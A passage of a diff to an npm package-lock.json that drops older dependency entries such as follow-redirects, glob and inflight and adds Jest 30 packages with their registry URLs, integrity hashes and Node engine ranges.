"https://registry.npmjs.org/flow-parser/-/flow-parser-0.263.0.tgz", - "integrity": "sha512-F0Tr7SUvZ4BQYglFOkr8rCTO5FPjCwMhm/6i57h40F80Oz/hzzkqte4lGO0vGJ7THQonuXcTyYqCdKkAwt5d2w==", + "node_modules/jake/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "dev": true, - "license": "MIT", + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, "engines": { - "node": ">=0.4.0" + "node": "*" } }, - "node_modules/follow-redirects": { - "version": "1.15.6", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz", - "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/RubenVerborgh" - } - ], + "node_modules/jest": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest/-/jest-30.0.3.tgz", + "integrity": "sha512-Uy8xfeE/WpT2ZLGDXQmaYNzw2v8NUKuYeKGtkS6sDxwsdQihdgYCXaKIYnph1h95DN5H35ubFDm0dfmsQnjn4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/core": "30.0.3", + "@jest/types": "30.0.1", + "import-local": "^3.2.0", + "jest-cli": "30.0.3" + }, + "bin": { + "jest": "bin/jest.js" + }, "engines": { - "node": ">=4.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" }, "peerDependenciesMeta": { - "debug": { + "node-notifier": { "optional": true } } }, - "node_modules/foreground-child": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.0.tgz", - "integrity": "sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==", + "node_modules/jest-changed-files": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-30.0.2.tgz", + "integrity": "sha512-Ius/iRST9FKfJI+I+kpiDh8JuUlAISnRszF9ixZDIqJF17FckH5sOzKC8a0wd0+D+8em5ADRHA5V5MnfeDk2WA==", "dev": true, + "license": "MIT", "dependencies": { - "cross-spawn": "^7.0.0", - "signal-exit": "^4.0.1" + "execa": "^5.1.1", + "jest-util": "30.0.2", + "p-limit": "^3.1.0" }, "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/form-data": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", - "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "node_modules/jest-circus": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-30.0.3.tgz", + "integrity": "sha512-rD9qq2V28OASJHJWDRVdhoBdRs6k3u3EmBzDYcyuMby8XCO3Ll1uq9kyqM41ZcC4fMiPulMVh3qMw0cBvDbnyg==", + "dev": true, + "license": "MIT", "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "mime-types": "^2.1.12" + "@jest/environment": "30.0.2", + "@jest/expect": "30.0.3", + "@jest/test-result": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "co": "^4.6.0", + "dedent": "^1.6.0", + "is-generator-fn": "^2.1.0", + "jest-each": "30.0.2", + "jest-matcher-utils": "30.0.3", + "jest-message-util": "30.0.2", + "jest-runtime": "30.0.3", + "jest-snapshot": "30.0.3", + "jest-util": "30.0.2", + "p-limit": "^3.1.0", + "pretty-format": "30.0.2", + "pure-rand": "^7.0.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-cli": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-30.0.3.tgz", + "integrity": "sha512-UWDSj0ayhumEAxpYRlqQLrssEi29kdQ+kddP94AuHhZknrE+mT0cR0J+zMHKFe9XPfX3dKQOc2TfWki3WhFTsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/core": "30.0.3", + "@jest/test-result": "30.0.2", + "@jest/types": "30.0.1", + "chalk": "^4.1.2", + "exit-x": "^0.2.2", + "import-local": "^3.2.0", + "jest-config": "30.0.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "yargs": "^17.7.2" + }, + "bin": { + "jest": "bin/jest.js" }, "engines": { - "node": ">= 6" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } } }, - "node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "dev": true, - "license": "ISC" - }, - "node_modules/fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "node_modules/jest-cli/node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "dev": true, - "hasInstallScript": true, - "optional": true, - "os": [ - "darwin" - ], + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + "node": ">=12" } }, - "node_modules/gensync": { - "version": "1.0.0-beta.2", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "node_modules/jest-cli/node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", "dev": true, "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true, - "engines": { - "node": "6.* || 8.* || >= 10.*" + "node": ">=12" } }, - "node_modules/get-func-name": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz", - "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==", + "node_modules/jest-config": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-30.0.3.tgz", + "integrity": "sha512-j0L4oRCtJwNyZktXIqwzEiDVQXBbQ4dqXuLD/TZdn++hXIcIfZmjHgrViEy5s/+j4HvITmAXbexVZpQ/jnr0bg==", "dev": true, - "engines": { - "node": "*" + "license": "MIT", + "dependencies": { + "@babel/core": "^7.27.4", + "@jest/get-type": "30.0.1", + "@jest/pattern": "30.0.1", + "@jest/test-sequencer": "30.0.2", + "@jest/types": "30.0.1", + "babel-jest": "30.0.2", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "deepmerge": "^4.3.1", + "glob": "^10.3.10", + "graceful-fs": "^4.2.11", + "jest-circus": "30.0.3", + "jest-docblock": "30.0.1", + "jest-environment-node": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-resolve": "30.0.2", + "jest-runner": "30.0.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "micromatch": "^4.0.8", + "parse-json": "^5.2.0", + "pretty-format": "30.0.2", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "@types/node": "*", + "esbuild-register": ">=3.4.0", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "esbuild-register": { + "optional": true + }, + "ts-node": { + "optional": true + } } - }, - "node_modules/glob": { - "version": "10.4.5", - "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", - "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + }, + "node_modules/jest-diff": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.0.3.tgz", + "integrity": "sha512-Q1TAV0cUcBTic57SVnk/mug0/ASyAqtSIOkr7RAlxx97llRYsM74+E8N5WdGJUlwCKwgxPAkVjKh653h1+HA9A==", "dev": true, + "license": "MIT", "dependencies": { - "foreground-child": "^3.1.0", - "jackspeak": "^3.1.2", - "minimatch": "^9.0.4", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^1.11.1" + "@jest/diff-sequences": "30.0.1", + "@jest/get-type": "30.0.1", + "chalk": "^4.1.2", + "pretty-format": "30.0.2" }, - "bin": { - "glob": "dist/esm/bin.mjs" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "node_modules/jest-docblock": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-30.0.1.tgz", + "integrity": "sha512-/vF78qn3DYphAaIc3jy4gA7XSAz167n9Bm/wn/1XhTLW7tTBIzXtCJpb/vcmc73NIIeeohCbdL94JasyXUZsGA==", + "dev": true, + "license": "MIT", "dependencies": { - "is-glob": "^4.0.1" + "detect-newline": "^3.1.0" }, "engines": { - "node": ">= 6" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/glob/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "node_modules/jest-each": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-30.0.2.tgz", + "integrity": "sha512-ZFRsTpe5FUWFQ9cWTMguCaiA6kkW5whccPy9JjD1ezxh+mJeqmz8naL8Fl/oSbNJv3rgB0x87WBIkA5CObIUZQ==", "dev": true, + "license": "MIT", "dependencies": { - "brace-expansion": "^2.0.1" + "@jest/get-type": "30.0.1", + "@jest/types": "30.0.1", + "chalk": "^4.1.2", + "jest-util": "30.0.2", + "pretty-format": "30.0.2" }, "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "node_modules/jest-environment-node": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-30.0.2.tgz", + "integrity": "sha512-XsGtZ0H+a70RsxAQkKuIh0D3ZlASXdZdhpOSBq9WRPq6lhe0IoQHGW0w9ZUaPiZQ/CpkIdprvlfV1QcXcvIQLQ==", "dev": true, "license": "MIT", + "dependencies": { + "@jest/environment": "30.0.2", + "@jest/fake-timers": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "jest-mock": "30.0.2", + "jest-util": "30.0.2", + "jest-validate": "30.0.2" + }, "engines": { - "node": ">=4" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/globby": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", - "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "node_modules/jest-haste-map": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-30.0.2.tgz", + "integrity": "sha512-telJBKpNLeCb4MaX+I5k496556Y2FiKR/QLZc0+MGBYl4k3OO0472drlV2LUe7c1Glng5HuAu+5GLYp//GpdOQ==", + "dev": true, + "license": "MIT", "dependencies": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.9", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^3.0.0" + "@jest/types": "30.0.1", + "@types/node": "*", + "anymatch": "^3.1.3", + "fb-watchman": "^2.0.2", + "graceful-fs": "^4.2.11", + "jest-regex-util": "30.0.1", + "jest-util": "30.0.2", + "jest-worker": "30.0.2", + "micromatch": "^4.0.8", + "walker": "^1.0.8" }, "engines": { - "node": ">=10" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "optionalDependencies": { + "fsevents": "^2.3.3" } }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/jest-leak-detector": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-30.0.2.tgz", + "integrity": "sha512-U66sRrAYdALq+2qtKffBLDWsQ/XoNNs2Lcr83sc9lvE/hEpNafJlq2lXCPUBMNqamMECNxSIekLfe69qg4KMIQ==", "dev": true, + "license": "MIT", + "dependencies": { + "@jest/get-type": "30.0.1", + "pretty-format": "30.0.2" + }, "engines": { - "node": ">=8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/he": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", - "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "node_modules/jest-matcher-utils": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.0.3.tgz", + "integrity": "sha512-hMpVFGFOhYmIIRGJ0HgM9htC5qUiJ00famcc9sRFchJJiLZbbVKrAztcgE6VnXLRxA3XZ0bvNA7hQWh3oHXo/A==", "dev": true, - "bin": { - "he": "bin/he" + "license": "MIT", + "dependencies": { + "@jest/get-type": "30.0.1", + "chalk": "^4.1.2", + "jest-diff": "30.0.3", + "pretty-format": "30.0.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/ignore": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", - "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "node_modules/jest-message-util": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.0.2.tgz", + "integrity": "sha512-vXywcxmr0SsKXF/bAD7t7nMamRvPuJkras00gqYeB1V0WllxZrbZ0paRr3XqpFU2sYYjD0qAaG2fRyn/CGZ0aw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.0.1", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "micromatch": "^4.0.8", + "pretty-format": "30.0.2", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" + }, "engines": { - "node": ">= 4" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "node_modules/jest-mock": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.0.2.tgz", + "integrity": "sha512-PnZOHmqup/9cT/y+pXIVbbi8ID6U1XHRmbvR7MvUy4SLqhCbwpkmXhLbsWbGewHrV5x/1bF7YDjs+x24/QSvFA==", "dev": true, "license": "MIT", + "dependencies": { + "@jest/types": "30.0.1", + "@types/node": "*", + "jest-util": "30.0.2" + }, "engines": { - "node": ">=0.8.19" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", - "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "node_modules/jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", "dev": true, - "license": "ISC", - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" + "license": "MIT", + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "jest-resolve": "*" + }, + "peerDependenciesMeta": { + "jest-resolve": { + "optional": true + } } }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "node_modules/jest-regex-util": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz", + "integrity": "sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==", "dev": true, - "license": "ISC" + "license": "MIT", + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "node_modules/jest-resolve": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-30.0.2.tgz", + "integrity": "sha512-q/XT0XQvRemykZsvRopbG6FQUT6/ra+XV6rPijyjT6D0msOyCvR2A5PlWZLd+fH0U8XWKZfDiAgrUNDNX2BkCw==", "dev": true, + "license": "MIT", "dependencies": { - "binary-extensions": "^2.0.0" + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "jest-pnp-resolver": "^1.2.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "slash": "^3.0.0", + "unrs-resolver": "^1.7.11" }, "engines": { - "node": ">=8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "node_modules/jest-resolve-dependencies": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-30.0.3.tgz", + "integrity": "sha512-FlL6u7LiHbF0Oe27k7DHYMq2T2aNpPhxnNo75F7lEtu4A6sSw+TKkNNUGNcVckdFoL0RCWREJsC1HsKDwKRZzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "jest-regex-util": "30.0.1", + "jest-snapshot": "30.0.3" + }, "engines": { - "node": ">=0.10.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "node_modules/jest-runner": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-30.0.3.tgz", + "integrity": "sha512-CxYBzu9WStOBBXAKkLXGoUtNOWsiS1RRmUQb6SsdUdTcqVncOau7m8AJ4cW3Mz+YL1O9pOGPSYLyvl8HBdFmkQ==", "dev": true, - "engines": { - "node": ">=8" + "license": "MIT", + "dependencies": { + "@jest/console": "30.0.2", + "@jest/environment": "30.0.2", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "emittery": "^0.13.1", + "exit-x": "^0.2.2", + "graceful-fs": "^4.2.11", + "jest-docblock": "30.0.1", + "jest-environment-node": "30.0.2", + "jest-haste-map": "30.0.2", + "jest-leak-detector": "30.0.2", + "jest-message-util": "30.0.2", + "jest-resolve": "30.0.2", + "jest-runtime": "30.0.3", + "jest-util": "30.0.2", + "jest-watcher": "30.0.2", + "jest-worker": "30.0.2", + "p-limit": "^3.1.0", + "source-map-support": "0.5.13" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-runner/node_modules/source-map-support": { + "version": "0.5.13", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", + "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" } }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "node_modules/jest-runtime": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-30.0.3.tgz", + "integrity": "sha512-Xjosq0C48G9XEQOtmgrjXJwPaUPaq3sPJwHDRaiC+5wi4ZWxO6Lx6jNkizK/0JmTulVNuxP8iYwt77LGnfg3/w==", + "dev": true, + "license": "MIT", "dependencies": { - "is-extglob": "^2.1.1" + "@jest/environment": "30.0.2", + "@jest/fake-timers": "30.0.2", + "@jest/globals": "30.0.3", + "@jest/source-map": "30.0.1", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "cjs-module-lexer": "^2.1.0", + "collect-v8-coverage": "^1.0.2", + "glob": "^10.3.10", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "jest-message-util": "30.0.2", + "jest-mock": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-resolve": "30.0.2", + "jest-snapshot": "30.0.3", + "jest-util": "30.0.2", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-snapshot": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-30.0.3.tgz", + "integrity": "sha512-F05JCohd3OA1N9+5aEPXA6I0qOfZDGIx0zTq5Z4yMBg2i1p5ELfBusjYAWwTkC12c7dHcbyth4QAfQbS7cRjow==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.27.4", + "@babel/generator": "^7.27.5", + "@babel/plugin-syntax-jsx": "^7.27.1", + "@babel/plugin-syntax-typescript": "^7.27.1", + "@babel/types": "^7.27.3", + "@jest/expect-utils": "30.0.3", + "@jest/get-type": "30.0.1", + "@jest/snapshot-utils": "30.0.1", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "babel-preset-current-node-syntax": "^1.1.0", + "chalk": "^4.1.2", + "expect": "30.0.3", + "graceful-fs": "^4.2.11", + "jest-diff": "30.0.3", + "jest-matcher-utils": "30.0.3", + "jest-message-util": "30.0.2", + "jest-util": "30.0.2", + "pretty-format": "30.0.2", + "semver": "^7.7.2", + "synckit": "^0.11.8" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" }, "engines": { - "node": ">=0.10.0" + "node": ">=10" } }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "node_modules/jest-util": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.0.2.tgz", + "integrity": "sha512-8IyqfKS4MqprBuUpZNlFB5l+WFehc8bfCe1HSZFHzft2mOuND8Cvi9r1musli+u6F3TqanCZ/Ik4H4pXUolZIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" + }, "engines": { - "node": ">=0.12.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/is-plain-obj": { - "version": "2.1.0", - "resolved": 